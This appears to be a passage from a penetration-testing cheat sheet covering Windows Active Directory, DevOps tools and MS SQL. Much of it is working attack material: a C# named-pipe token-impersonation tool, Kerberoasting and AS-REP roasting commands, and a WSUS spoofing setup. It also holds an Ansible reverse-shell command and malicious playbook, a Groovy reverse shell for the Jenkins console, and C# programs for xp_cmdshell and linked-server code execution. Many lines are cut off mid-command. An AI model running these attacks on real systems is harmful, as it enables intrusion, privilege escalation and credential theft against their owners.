[DllImport("[Link]", SetLastError = true)]


static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode,

[DllImport("[Link]")]
static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);

[DllImport("[Link]")]
static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
[DllImport("[Link]")]
static extern IntPtr GetCurrentThread();

[DllImport("[Link]", SetLastError = true)]


static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenA

[DllImport("[Link]", SetLastError = true)]


static extern bool GetTokenInformation(IntPtr TokenHandle, uint tokenInformationClass

[DllImport("advapi32", CharSet = [Link], SetLastError = true)]


static extern bool ConvertSidToStringSid(IntPtr Sid, out IntPtr StringSid);

[DllImport("[Link]", CharSet = [Link], SetLastError = true)]


static extern bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPt

[DllImport("[Link]", SetLastError = true)]


static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, boo

[DllImport("[Link]", SetLastError = true)]


static extern bool RevertToSelf();

[DllImport("[Link]")]
static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize);

[DllImport("advapi32", SetLastError = true, CharSet = [Link])]

static extern bool CreateProcessWithTokenW(IntPtr hToken, UInt32 dwLogonFlags, string

static void Main(string[] args)


{
if ([Link] < 2)
{
[Link]("Usage: [Link] <PIPENAME>\n\nExamples:\n\nSha
return;
}

string pipeName = args[0];


string execCommand = args[1];
bool execInteractively = [Link] == 3 && args[2] == "-i" ? true : false;

// Prepare a new permission set for the pipe (Allowed GenercAll for Everyone)
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
ConvertStringSecurityDescriptorToSecurityDescriptor(
"D:(A;OICI;GA;;;WD)",
1,
out [Link],
[Link]);

// Create the named pipe


IntPtr hPipe = CreateNamedPipe(
pipeName,
3, // PIPE_ACCESS_DUPLEX
0, // PIPE_TYPE_BYTE | PIPE_WAIT
10,
0x1000,
0x1000,
0,
ref sa);

// Start the named pipe server to listen for connections


[Link]($"[*] Named pipe {pipeName} listening...");
ConnectNamedPipe(hPipe, [Link]);

// When a client connects, impersonate his token


[Link]("[+] A client connected!");
ImpersonateNamedPipeClient(hPipe);

// Open a handle for the impersonated token


IntPtr hToken;
OpenThreadToken(
GetCurrentThread(),
0xF01FF, // TOKEN_ALL_ACCESS
false,
out hToken);

// BEGIN DEBUG (print impersonated token SID)


int tokenInfLength = 0;
GetTokenInformation(

hToken,
1, // TokenUser
[Link],
tokenInfLength,
out tokenInfLength);

IntPtr tokenInformation = [Link](tokenInfLength);


GetTokenInformation(
hToken,
1, // TokenUser
tokenInformation,
tokenInfLength,
out tokenInfLength);

TOKEN_USER TokenUser = (TOKEN_USER)[Link](tokenInformation, typeof


IntPtr pStringSid = [Link];
ConvertSidToStringSid([Link], out pStringSid);
string stringSid = [Link](pStringSid);
[Link]($"[+] Token impersonated!\n | SID: {stringSid}");
[Link](tokenInformation);
// END DEBUG

// Duplicate impersonated token (i.e., convert the impersonated token to a primary


IntPtr hSystemToken = [Link];
DuplicateTokenEx(
hToken,
0xF01FF, // TOKEN_ALL_ACCESS
[Link],
2, // SecurityImpersonation
1, // TokenPrimary
out hSystemToken);

String name = [Link]().Name;


[Link]($" \\_ Name: {name}");

// Revert to self to successfully CreateProcessWithTokenW


RevertToSelf();

// if not execInteractively
uint dwLogonFlags = 0;
uint dwCreationFlags = 0x8000000; // CREATE_NO_WINDOW
IntPtr lpEnvironment = [Link];
STARTUPINFO si = new STARTUPINFO();
[Link] = [Link](si);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

if (execInteractively)
{
dwLogonFlags = 1; // LOGON_WITH_PROFILE
dwCreationFlags = 0x400; // CREATE_UNICODE_ENVIRONMENT
CreateEnvironmentBlock(out lpEnvironment, hToken, false);
[Link] = @"WinSta0\Default";
}

// Get the system directory


//StringBuilder sbSystemDir = new StringBuilder(256);
//GetSystemDirectory(sbSystemDir, 256);

// Create a new process based on execCommand (binary and args) with the impersonat
[Link]($"[*] Executing command: {execCommand}");
CreateProcessWithTokenW(
hSystemToken,
dwLogonFlags,
null,
execCommand,
dwCreationFlags,
lpEnvironment,
null, // [Link](),
ref si,
out pi);
}
}
}

RID Cycling
Relative Identifier
[Link]

Perform RID cycling attack against a DC with SMB null sessions allowed with [Link]:

$ [Link] MEGACORP/snovvcrash:'Passw0rd!'@[Link] 20000 [-domain-sids] | tee ~/ws/logs/


$ cat ~/ws/logs/[Link] | grep SidTypeUser | grep -v -e '\$' -e '{' -e '}' -e HealthMail

With CrackMapExec:

$ cme smb [Link] -u '' -p '' --users

Roasting

ASREPRoasting
Show domain users with DONT_REQ_PREAUTH flag set:

PowerView3 > Get-DomainUser -UACFilter DONT_REQ_PREAUTH

Normal

[Link]

[Link]

$ [Link] [Link]/ -dc-ip [Link] -no-pass -usersfile ~/ws/enum/[Link] -requ


$ cat [Link] | grep -v 'Client not found in Kerberos database'
$ hashcat -m 18200 -O -a 0 -w 4 --session=asrep -o [Link] [Link] seclists/Passwords/darkc

ASREPRoast.ps1

[Link]

PS > Get-ASREPHash -Domain [Link] -UserName snovvcrash

Rubeus

beacon> execute-assembly [Link] --search "(&(sAMAccountType=805306368)(userAccountContro


beacon> execute-assembly [Link] asreproast /nowrap [/user:svc mssql]

Targeted

[Link]

"Given GenericWrite/GenericAll DACL rights over a target, we can modify most of the user's attributes.
We can change a victim's userAccountControl to not require Kerberos preauthentication, grab the user's
crackable AS-REP, and then change the setting back." (@harmj0y, ref)

PowerView3 > Get-DomainUser snovvcrash | ConvertFrom-UACValue


PowerView3 > Set-DomainObject -Identity snovvcrash -XOR @{useraccountcontrol=4194304} -Verbose
PowerView3 > Get-DomainUser snovvcrash | ConvertFrom-UACValue
ASREPRoast > Get-ASREPHash -Domain [Link] -UserName snovvcrash
PowerView3 > Set-DomainObject -Identity snovvcrash -XOR @{useraccountcontrol=4194304} -Verbose
PowerView3 > Get-DomainUser snovvcrash | ConvertFrom-UACValue

Kerberoasting

[Link]
[Link]

[Link]
[Link]
supported-encryption-type

[Link]
[Link]
[Link]

[Link]
[Link]
Check msDS-SupportedEncryptionTypes attribute (if RC4 is enabled):

PowerView3 > Get-DomainUser -Identity snovvcrash -Properties samaccountname,serviceprincipalna

Normal

[Link]

$ [Link] [Link]/snovvcrash:'Passw0rd!' -dc-ip [Link] -request -outputfile t


$ hashcat -m 13100 -O -a 0 -w 4 --session=tgsrep -o [Link] [Link] seclists/Passwords/da

In case LDAP(S) ports are blocked, kerberoasting can be performed via the Global Catalog port
(3268/TCP). For that purposes change ldap:// scheme to gc:// .

Check if there're any brutable kerberoastable users with a path to high value targets having got cracked
NTDS (useful when writing a report):

$ cat ~/ws/enum/[Link] | grep -Pho 'krb5tgs\$23\$.*?\$' | cut -d'*' -f2 | cut -d'$' -f1 > t

$ for acc in `cat t`; do grep -ai $acc ~/ws/loot/[Link] | cut -d: -f1 >> t2; done && rm

$ vi t2
...convert domain prefix to domain suffix ([Link]\svcsql -> svcsql@[Link])...

$ python3 [Link] -u neo4j -p 'WeaponizeK4li!' mark-owned -f t2 --add-note "kerberoasted" && rm

$ python3 [Link] -u neo4j -p 'WeaponizeK4li!' query -q 'MATCH p=shortestPath((n {owned:true})-

PowerView

[Link]

PowerView3 > Invoke-Kerberoast -OutputFormat Hashcat | fl

Rubeus

[Link]
beacon>
beacon> execute-assembly
execute-assembly [Link] --search "(&(sAMAccountType=805306368)(servicePrincipalN
[Link] kerberoast /format:hashcat /nowrap [/usetgtdeleg] [/user:s

Targeted

"We can execute 'normal' Kerberoasting instead: given modification rights on a target, we can change the
user's serviceprincipalname to any SPN we want (even something fake), Kerberoast the service ticket,
and then repair the serviceprincipalname value." (@harmj0y, ref)

PowerView3 > Get-DomainUser snovvcrash | select serviceprincipalname


PowerView3 > Set-DomainObject -Identity snovvcrash -SET @{serviceprincipalname='nonexistent/BL
PowerView3 > $User = Get-DomainUser snovvcrash
PowerView3 > $User | Get-DomainSPNTicket | fl
PowerView3 > $User | select serviceprincipalname
PowerView3 > Set-DomainObject -Identity snovvcrash -Clear serviceprincipalname

Downgrading Encryption Type (RC4)

[Link]
[Link]
requesting-rc4-encrypted-tgs-when-aes-is-enabled

[Link]

SCCM Abuse
System Center Configuration Manager

[Link]
[Link]
[Link]
client-push-accounts
[Link]

Tools

[Link]

SMB
Server Message Block

Check for SMB vulnerablities with Nmap:

$ sudo nmap -sV --script-args=unsafe=1 --script smb-os-discovery [Link] -p139,445


$ sudo nmap -n -Pn -sV --script 'smb-vuln*' [Link] -p445

Fingerprint

[Link]

Enumerate SMB version for old versions of Samba (for security reasons modern clients will not initiate
connection with legacy protocols in use):

$ sudo ngrep -i -d eth0 's.?a.?m.?b.?a.*[[:digit:]]' port 139


$ echo exit | smbclient -N -L [Link] --option='client min protocol=LANMAN1'

Mounting
Mount:

$ sudo mount -t cifs '//[Link]/Users' /mnt/smb -v -o user=snovvcrash,[pass='Passw0rd!']

Status:

$ mount -v | grep 'type cifs'


$ df -k -F cifs

Unmount:

$ sudo umount /mnt/smb

SMB Share with Null Authentication


Create an SMB share allowing null authentication.

Linux
/etc/samba/[Link]
[global]
map to guest = bad user
server role = standalone server
usershare allow guests = yes
smb ports = 445

[smb]
comment = Samba
path = /srv/smb
guest ok = yes
read only = no
browsable = yes
force user = nobody

$ sudo service smbd restart


$ sudo chown -R nobody:root /srv/smb/
$ sudo chmod -R 777 /srv/smb/

Windows

[Link]

PS > mkdir C:\share


PS > icacls C:\share\ /T /grant Anonymous` logon:r
PS > icacls C:\share\ /T /grant Everyone:r
PS > New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
PS > REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPi
PS > REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionSh
PS > REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_D
PS > REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d

Hunt for Shares & Content

[Link]
[Link]
[Link]
[Link]

[Link]
Tools

rpcclient

Check for null authentication:

$ rpcclient -N -L [Link]

With user creds:

$ rpcclient -U 'snovvcrash%Passw0rd!' [Link]

smbclient

Check for null authentication:

$ smbclient -N -L [Link]
$ smbclient -N '\\[Link]\Data'

With user creds:

$ smbclient -U snovvcrash '\\[Link]\Users' 'Passw0rd!'

Get all files recursively:

smb: \> recurse ON


smb: \> prompt OFF
smb: \> mget *

smbmap

$ smbmap -H [Link]
$ smbmap -H [Link] -u anonymous
$ smbmap -H [Link] -u '' -p ''
$ smbmap -H [Link] -u snovvcrash -p 'Passw0rd!' -R ShareName
$ smbmap -H [Link] -u snovvcrash -p 'Passw0rd!' -R ShareName -A .

RPC
Remote Procedure Call
[Link]

Tools

rpcclient

Check for null authentication:

$ rpcclient -N [Link]

With user creds:

$ rpcclient -U 'snovvcrash%Passw0rd!' [Link]

Token Manipulation

[Link]
to-winlogon-exe-80696c8a73b
[Link]

[Link]
[Link]

[Link]

Trusted Installer Token

[Link]
tools/blob/main/NtObjectManager/NtTokenFunctions.ps1

[Link]

PS > Install-Module -Name NtObjectManager -Confirm:$false


PS > Restart-Service TrustedInstaller
PS > $procId = (Get-Process TrustedInstaller).Id
PS > $token = Get-NtTokenFromProcess -ProcessId $procId
PS > $current = Get-NtThread -Current -PseudoHandle
PS > $ctx = $[Link]($token)
PS > $impToken = Get-NtToken -Impersonation
PS > $[Link]
Tools

[Link]

[Link]

Tokenvator

[Link]
windows-tokens/
[Link]

[Link]

SharpImpersonation

[Link]
[Link]

Koh

[Link]
[Link]

User Hunt

[Link]
[Link]

PS > Find-DomainUserLocation -UserIdentity snovvcrash

Sessions Enum

[Link]
[Link]
Derivative Local Admins

[Link]

[Link]

[Link]

[Link]

Pen Testing Active Directory Environments (Varonis).pdf 3MB


PDF

Logon Events

[Link]
Un1k0d3r/RedTeamCSharpScripts/blob/5175f64c111ffcc13250e3cf818f05ca46654af5/[Link]#L1
94
Search for IPs from where the user of interest logged on to current machine (event 4624):

PS > Get-EventLog Security -InstanceId 4624 | ? {$_.[Link]("snovvcrash")} | select -

WSUS
Windows Server Update Services

[Link]

HTTP MitM

[Link]
[Link]
[Link]

[Link]
[Link]

Check:

PS > reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
WUServer REG_SZ [Link]

PS > reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer

HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
UseWUServer REG_DWORD 0x1

Exploit:

$ python3 [Link] --host $ATTACKER_IP --port 8530 --executable /home/snovvcrash/www/PsExec64


$ sudo ./bettercap --iface $INTERFACE --caplet [Link]

[Link]
# Quick recon of the network
[Link] on

# Set the ARP spoofing


set [Link] $CLIENT_IP
set [Link] false
set [Link] false

# Re-route traffic aimed at the WSUS server


set [Link] $INTERFACE
set [Link] TCP
set [Link].src_address $WSUS_SERVER_IP
set [Link].src_port 8530
set [Link].dst_address $ATTACKER_IP
set [Link].dst_port 8530

# Control logging and verbosity


[Link] endpoint
[Link] [Link]

# Start the modules


[Link] on
[Link] on
[Link] on

Local Proxy (LPE)

[Link]
privilege-escalation-1-day/

WSUS + LDAPS NTLM Relay

[Link]
services-wsus-to-enable-ntlm-relaying-attacks/

Tools

SharpWSUS

[Link]
[Link]

Zerologon
CVE-2020-1472

[PDF] Zerologon: Unauthenticated domain controller compromise by subverting Netlogon cryptography


(CVE-2020-1472) (Tom Tervoort)

[PDF] Understanding and Exploiting Zerologon (Lucideus)

Check:

[Link]

$ python3 zerologon_tester.py DC01 [Link]

Exploit:

[Link]
[Link]

Exploits above will break the domain! Use this technique by @dirkjanm to abuse Zerologon safely:

[Link]
$ sudo [Link] -t dcsync://[Link] -smb2support
$ python [Link] -d [Link] -u snovvcrash -p 'Passw0rd!' [Link] [Link]

RODC Notes
Checking that a DC is a RODC (see if WRITABLE flag is present):

PS > [Link] /dsgetdc:[Link]


PS > [Link] /dsgetdc:[Link] /server:DC1

[Link]
c0ecb06e2db9
[Link]

[Link]
odules/kuhl_m_lsadump.c#L2467

[Link]
amp-computer-authentication-through-rodc?forum=winserverDS

"When a user authenticates to an RODC a check is performed to see if the password is cached. If the
password is cached, the RODC will authenticate the user account locally. If the user’s password is not
cached, then the RODC forwards the authentication request to a writable Domain Controller which in turn
authenticates the account and passes the authenticated request back to the RODC. Once the user
account is authenticated, the RODC makes another request for the replication of the user’s password in a
unidirectional replication providing the account has been configured to allow replication. In order to allow
the user password to be cached on RODC, you could set up it by configuring the Password Replication
Policy."

So when authenticating at a RODC and Password Replication Policy rejects caching the machine
password, then STATUS_NO_TRUST_SAM_ACCOUNT may be met.

DevOps

Ansible

Enumeration
When on ansible controller:
$ cat /etc/passwd | grep ans
$ cat /etc/ansible/hosts
$ ansible --version

Execute Code
Using ad-hoc commands:

$ ansible <GROUP_NAME> -m shell -a "echo <BASE64_REVERSE_SHELL>|base64 -d|/bin/bash" --become

Malicious playbook example:

[Link]
# ansible-playbook [Link]

- name: Evil playbook


hosts: all
gather_facts: true
tasks:
- name: upload
copy:
src: /tmp/met
dest: /dev/shm/met
mode: a+x
- name: execute
shell: "nohup /dev/shm/met &"
async: 10
poll: 0

Crack the Vault


When vault-encrypted creds are discovered, the vault passwords can be cracked with hashcat:

$ /usr/share/john/[Link] [Link] > [Link]


$ hashcat -m 16900 -O -a 0 -w 4 --session=vault -o [Link] [Link] seclists/Passwords/darkc

The original password can then be decrypted with ansible:

$ cat [Link]
$ANSIBLE_VAULT;1.1;AES256
00000000000000000000000000000000000000000000000000000000000000000000000000000000
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
00000000000000000000000000000000000000000000000000000000000000000000000000000000
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
00000000000000000000000000000000000000000000000000000000000000000000

$ cat [Link] | ansible-vault decrypt

Artifactory

[Link]

Default credentials 👉🏻 admin:password .

Brute Force access-admin

[Link]
[Link]

Brute force access-admin's password with ffuf:

$ echo -n access-admin > [Link]


$ ./ffuf_basicauth.sh [Link] [Link] | ffuf -c -u [Link]

Enumeration
Spot running processes:

$ ps aux | grep artifactory

Files location:

$ find /opt/jfrog/artifactory/var/data/artifactory/filestore

Backup location:

$ find /opt/jfrog/artifactory/var/backup/access
Compromise Database

$ mkdir /tmp/dbcopy
$ sudo cp -r /opt/jfrog/artifactory/var/data/access/derby /tmp/dbcopy
$ sudo chmod 755 /tmp/dbcopy/derby
$ sudo /opt/jfrog/artifactory/app/third-party/java/bin/java -jar /opt/derby/db-derby-[Link]
ij> connect 'jdbc:derby:/tmp/dbcopy/derby';
ij> select * from access_users;

Add Admin Account

$ sudo bash -c "echo 'snovvcrash*=Passw0rd!' > /opt/jfrog/artifactory/var/etc/access/bootstrap

$ sudo chmod 600 /opt/jfrog/artifactory/var/etc/access/[Link]


$ sudo /opt/jfrog/artifactory/app/bin/artifactoryctl stop
$ sudo /opt/jfrog/artifactory/app/bin/artifactoryctl start
$ sudo grep "Create admin user" /opt/jfrog/artifactory/var/log/[Link]

Containerization

Red Hat OpenShift

[Link]

Grant a low-priv user admin's privileges across the cluster via REST API:

curl -k -X POST "[Link]


-H 'Authorization: Bearer <TOKEN>' \
-H 'Accept: application/json' \
-H 'Content-Type: application/json' \
-d'
{
"kind": "ClusterRoleBinding",
"apiVersion": "[Link]/v1",
"metadata": {
"name": "pwned",
"creationTimestamp": null
},
"subjects": [
{
"kind": "User",
"apiGroup": "[Link]",
"name": "snovvcrash@[Link]"
}
],
"roleRef": {
"apiGroup": "[Link]",
"kind": "ClusterRole",
"name": "admin"
}
}'

GitLab

[Link]
[Link]

SSRF > Redis > RCE (CE/EE)


CVE-2018-19571, CVE-2018-19585

[Link]
[Link]

[Link]

Also possible to use this payload (instead of IPv6) to bypass filter checks for localhost, but works only with
git:// scheme:

git://[Link]:6379/%0a<REDIS_COMMANDS>

Path Traversal > LFI > RCE (CE/EE)


CVE-2020-10977

[Link]
[Link]

Path Traversal > File Write > RCE (EE)


CVE-2019-19088

[Link]

gitlab-rails
Add new admin user from console:

$ sudo gitlab-rails console


irb(main):001:0 > ActiveRecord::[Link] = [Link]($stdout)
irb(main):002:0 > [Link](1)
=> #<User id:1 @root>
irb(main):003:0 > user = [Link](:username => 'snovvcrash', :password => 'Passw0rd!', :pas
irb(main):004:0 > [Link]!
irb(main):005:0 > user.confirmation_token
=> "ZVrM4KsyEdSoTJvo8kx_"

Then activate the account by navigating to


[Link]
confirmation_token=ZVrM4KsyEdSoTJvo8kx_ .

Grant a low-priv user admin's privileges via API:

# Check token priveleges


$ curl -sX GET -H "PRIVATE-TOKEN: $ADMIN_TOKEN" "[Link] | jq
# Grant low-priv user admin's privileges
$ curl -sX PUT -H "PRIVATE-TOKEN: $ADMIN_TOKEN" "[Link]
# Revert low-priv user's original privileges
$ curl -sX PUT -H "PRIVATE-TOKEN: $ADMIN_TOKEN" "[Link]

Jenkis

Script Console Abuse

[Link]
[Link]
[Link]
"Manage Jenkis" > "Script Console" > Run.

Execute command:

exec groovy
[Link]
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'whoami'.execute()
[Link](sout, serr)
[Link](1000)
println "out> $sout err> $serr"

Reverse shell:

[Link]
String host = "<LHOST>";
int port = <LPORT>;
String cmd = "/bin/bash"; // or "[Link]" for Windows

Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();


Socket s = new Socket(host, port);

InputStream pi = [Link](), pe = [Link](), si = [Link]();


OutputStream po = [Link](), so = [Link]();

while (![Link]()) {
while ([Link]() > 0)
[Link]([Link]());
while ([Link]() > 0)
[Link]([Link]());
while ([Link]() > 0)
[Link]([Link]());
[Link]();
[Link]();
[Link](50);
try {
[Link]();
break;
} catch (Exception e) {}
};

[Link]();
[Link]();

Bind shell:

[Link]
int port = <LPORT>;
String cmd="/bin/bash"; // or "[Link]" for Windows

Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();


Socket s = new [Link](port).accept();

InputStream pi = [Link](), pe = [Link](), si = [Link]();


OutputStream po = [Link](), so = [Link]();

while (![Link]()) {
while ([Link]() > 0)
[Link]([Link]());
while ([Link]() > 0)
[Link]([Link]());
while ([Link]() > 0)
[Link]([Link]());
[Link]();
[Link]();
[Link](50);
try {
[Link]();
break;
} catch (Exception e) {}
};

[Link]();
[Link]();

DBMS
Database Management System

Tools

DBeaver

DBeaver Community

DbVisualizer

DbVisualizer

FireBird

[Link]

MS SQL
Create a new login, map it to the db_owner user and assign the sysadmin role:

CREATE LOGIN [snovvcrash] WITH PASSWORD=N'Passw0rd!';


CREATE USER [snovvcrash] FOR LOGIN [snovvcrash];
ALTER ROLE [db_owner] ADD MEMBER [snovvcrash];
EXEC master..sp_addrolemember @rolename=N'db_owner', @membername=N'snovvcrash';
EXEC master..sp_addsrvrolemember @rolename=N'sysadmin', @loginame=N'snovvcrash';
EXEC master..sp_addremotelogin 'SQLSRV01\SQLEXPRESS', 'snovvcrash';

Check the state of xp_cmdshell :

SELECT * FROM [Link] WHERE name = 'xp_cmdshell';

Enable xp_cmdshell :

1> EXEC sp_configure 'show advanced options', 1


2> GO
1> RECONFIGURE
2> GO
1> EXEC sp_configure 'xp_cmdshell', 1
2> GO
1> RECONFIGURE
2> GO
1> EXEC xp_cmdshell 'whoami'
2> GO

Enumeration
Current login name (SQL Server login or Domain/Windows username, like sa ):

SELECT SYSTEM_USER;

Current database username (like [Link] ):

SELECT USER;

Test if current server role is public or sysadmin :

SELECT IS_SRVROLEMEMBER('public');
SELECT IS_SRVROLEMEMBER('sysadmin');

List databases:
SELECT name FROM master..sysdatabases;

List linked servers:

EXEC sp_linkedservers;

List logins available for impersonation:

SELECT distinct [Link] FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.g

UNC Path Injection

[Link]

SQL > EXEC master..xp_dirtree '\\[Link]\share\[Link]';


PowerUpSQL > Get-SQLQuery -Instance "[Link],1433" -Query "EXEC master..xp_dir

Crawl Links

[Link]
[Link]
[Link]
[Link]

[Link]

Exec code from SQLSRV00 when SQLSRV01 and SQLSRV02 are linked like this SQLSRV00 ->
SQLSRV01 -> SQLSRV02:

EXEC sp_serveroption 'SQLSRV01','rpc','true';


EXEC sp_serveroption 'SQLSRV01','rpc out','true';

EXEC ('select SYSTEM_USER;') AT [SQLSRV01];


EXEC ('EXEC (''select SYSTEM_USER;'') AT [SQLSRV02];') AT [SQLSRV01];

EXEC ('EXEC sp_configure ''show advanced options'',1; RECONFIGURE; EXEC sp_configure ''xp_cmds
EXEC ('EXEC (''EXEC sp_configure ''''show advanced options'''',1; RECONFIGURE; EXEC sp_configu

EXEC ('EXEC xp_cmdshell ''cmd /c ping -n 2 [Link]'';') AT [SQLSRV01];


EXEC ('EXEC (''EXEC xp_cmdshell ''''cmd /c ping -n 2 [Link]'''';'') AT [SQLSRV02];') AT
Abusing server links from C# code:

[Link]
using System;
using [Link];

namespace SqlCrawlLinks
{
class Program
{
static string sqlQuery(string query, SqlConnection con)
{
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = [Link]();
string result = "";
try
{

while ([Link]()) { result += $"{reader[0]}\n"; }


result = [Link]([Link] - 1);
}
catch { }
[Link]();
return result;
}

static void Main(string[] args)


{
// Authenticate
string sqlServer = "[Link]";
string database = "master";
string conString = $"Server = {sqlServer}; Database = {database}; Integrated Secur
SqlConnection con = new SqlConnection(conString);

try
{
[Link]();
[Link]("[+] Auth success!");
}
catch
{
[Link]("[-] Auth failed");
[Link](0);
}

// List linked servers


string result = sqlQuery("EXEC sp_linkedservers;", con);
[Link]($"[*] Linked SQL servers:\n{result}");

// Enumerate current login on the linked server


result = sqlQuery("select login from openquery(\"SQLSRV02\", 'select SYSTEM_USER a
[Link]($"[*] Executing as the login {result} at SQLSRV02");
// Enable xp_cmdshell on the linked server
sqlQuery("EXEC ('EXEC sp_configure ''show advanced options'',1; RECONFIGURE; EXEC

// RCE via EXEC at on the linked server


result = sqlQuery("EXEC ('EXEC xp_cmdshell ''whoami'';') AT [SQLSRV02];", con);
[Link]($"[*] xp_cmdshell at SQLSRV02 via EXEC AT: {result}");

// RCE via OPENQUERY on the linked server


sqlQuery("select 1 from openquery(\"SQLSRV02\", 'select 1; EXEC sp_con
sqlQuery("select 1 from openquery(\"SQLSRV02\", 'select 1; EXEC xp_cmdshell ''cmd

// Double-hop RCE on the target server (SQLSRV01) from the linked server (SQLSRV02
sqlQuery("EXEC ('EXEC (''EXEC sp_configure ''''show advanced options'''',1; RECONF
sqlQuery("EXEC ('EXEC (''EXEC xp_cmdshell ''''cmd /c ping -n 2 [Link]'''';'')

[Link]();
}
}

Crawl links with MSF:

msf > use exploit/windows/mssql/mssql_linkcrawler


msf exploit(windows/mssql/mssql_linkcrawler) > set RHOSTS [Link]
msf exploit(windows/mssql/mssql_linkcrawler) > set USERNAME sa
msf exploit(windows/mssql/mssql_linkcrawler) > set PASSWORD Passw0rd!
msf exploit(windows/mssql/mssql_linkcrawler) > set DEPLOY true
msf exploit(windows/mssql/mssql_linkcrawler) > set VERBOSE true
msf exploit(windows/mssql/mssql_linkcrawler) > run

Crawl links with PowerUpSQL:

PS > Get-SQLInstanceDomain | Get-SQLConnectionTest


PS > Get-SQLServerInfo -Instance "[Link],1433"
PS > Get-SQLQuery -Instance "[Link],1433" -Query "select * from openquery(""s
PS > Get-SQLServerLinkCrawl -Instance "[Link],1433"
PS > Get-SQLServerLinkCrawl -Instance "[Link],1433" -Query "SELECT * FROM mas
PS > Get-SQLServerLinkCrawl -Instance "[Link]\SQLEXPRESS" -Username sa -Passw

External Scripts

[Link]
server-ver15

[Link]
Enable external scripts:

EXEC sp_configure 'external scripts enabled,1';

Run Python code:

EXEC sp_execute_external_script
@language=N'Python',
@script=N'
with open(''c:\\inetpub\\wwwroot\\[Link]'', ''r'') as f:
print([Link]())
'

[Link]

[Link]
[Link]
[Link]

[Link]
SECURITY/Empire/blob/master/empire/server/data/module_source/collection/Invoke-NinjaCopy.ps1

[Link]

PS > Invoke-NinjaCopy -Path "C:\Program Files\Microsoft SQL Server\[Link]\MSSQL\D


PS > [[Link]]::LoadFile("$pwd\[Link]")
PS > [[Link]]::LoadFile("$pwd\[Link]")
PS > . .\Get-MDFHashes.ps1
PS > Get-MDFHashes -mdf "C:\Windows\Temp\[Link]"
$ hashcat -m 132 -O -a 0 -w 4 --session=mssql -o [Link] [Link] seclists/Passwords/darkc0d

C# Examples

[Link]

[Link]
using System;
using [Link];

namespace MSSQL
{
class
{ Program
static string sqlQuery(string query, SqlConnection con)
{
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = [Link]();
string result = "";
try
{
while ([Link]()) { result += $"{reader[0]}\n"; }
result = [Link]([Link] - 1);
}
catch { }
[Link]();
return result;
}

static void Main(string[] args)


{

// Authenticate
string sqlServer = "[Link]";
string database = "master";
string conString = $"Server = {sqlServer}; Database = {database}; Integrated Secur
SqlConnection con = new SqlConnection(conString);

try
{
[Link]();
[Link]("[+] Auth success!");
}
catch
{
[Link]("[-] Auth failed");
[Link](0);
}

// Enumerate login name (SQL Server login or Domain/Windows username)


string result = sqlQuery("SELECT SYSTEM_USER;", con);
[Link]($"[*] Logged in as: {result}");

// Enumerate database username


result = sqlQuery("SELECT USER;", con);
[Link]($"[*] Mapped to the user: {result}");

// Check if we have public role assigned


result = sqlQuery("SELECT IS_SRVROLEMEMBER('public');", con);
Int32 val = [Link]([Link]());
if (val == 1)
{
[Link]("[*] User is a member of public role");
}
else
{
[Link]("[*] User is NOT a member of public role");
}

// Invoke xp_dirtree to coerce authentication on attacker's machine


string lhost = args[0];
sqlQuery($@"EXEC master..xp_dirtree '\\{lhost}\test';", con);
[Link]($"[*] Invoked xp_dirtree against {lhost}");

// Enumerate logins that we can impersonate


result = sqlQuery("SELECT distinct [Link] FROM sys.server_permissions a INNER JOIN
[Link]($"[*] Logins that can be impersonated:\n{result}");

// Impersonate sa user
result = sqlQuery("EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER;", con);
[Link]($"[*] Executing in context of impersonated user: {result}");

// Impersonate dbo database user


result = sqlQuery("use msdb; EXECUTE AS USER = 'dbo'; SELECT USER;", con);
[Link]($"[*] Executing in context of impersonated login: {result}");

// Execute OS commands via xp_cmdshell


sqlQuery("EXECUTE AS LOGIN = 'sa';", con);
sqlQuery("EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_config
[Link]("[+] Enabled xp_cmdshell");
result = sqlQuery("EXEC xp_cmdshell whoami", con);
[Link]($"[*] xp_cmdshell: {result}");

// Execute OS commands via Ole Automation Procedures


sqlQuery("EXECUTE AS LOGIN = 'sa';", con);
sqlQuery("EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE; ", con);
sqlQuery(@"DECLARE @myshell INT; EXEC sp_oacreate '[Link]', @myshell OUTPUT

[Link]();
}
}
}

Custom Assemblies

Load and trigger custom assembly:

[Link]
using System;
using [Link];

namespace SqlProcedure
{
class Program
{
static string sqlQuery(string query, SqlConnection con)
{
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = [Link]();
string result = "";
try
{
while ([Link]()) { result += $"{reader[0]}\n"; }
result = [Link]([Link] - 1);
}
catch { }
[Link]();
return result;
}

static void Main(string[] args)


{
// Authenticate
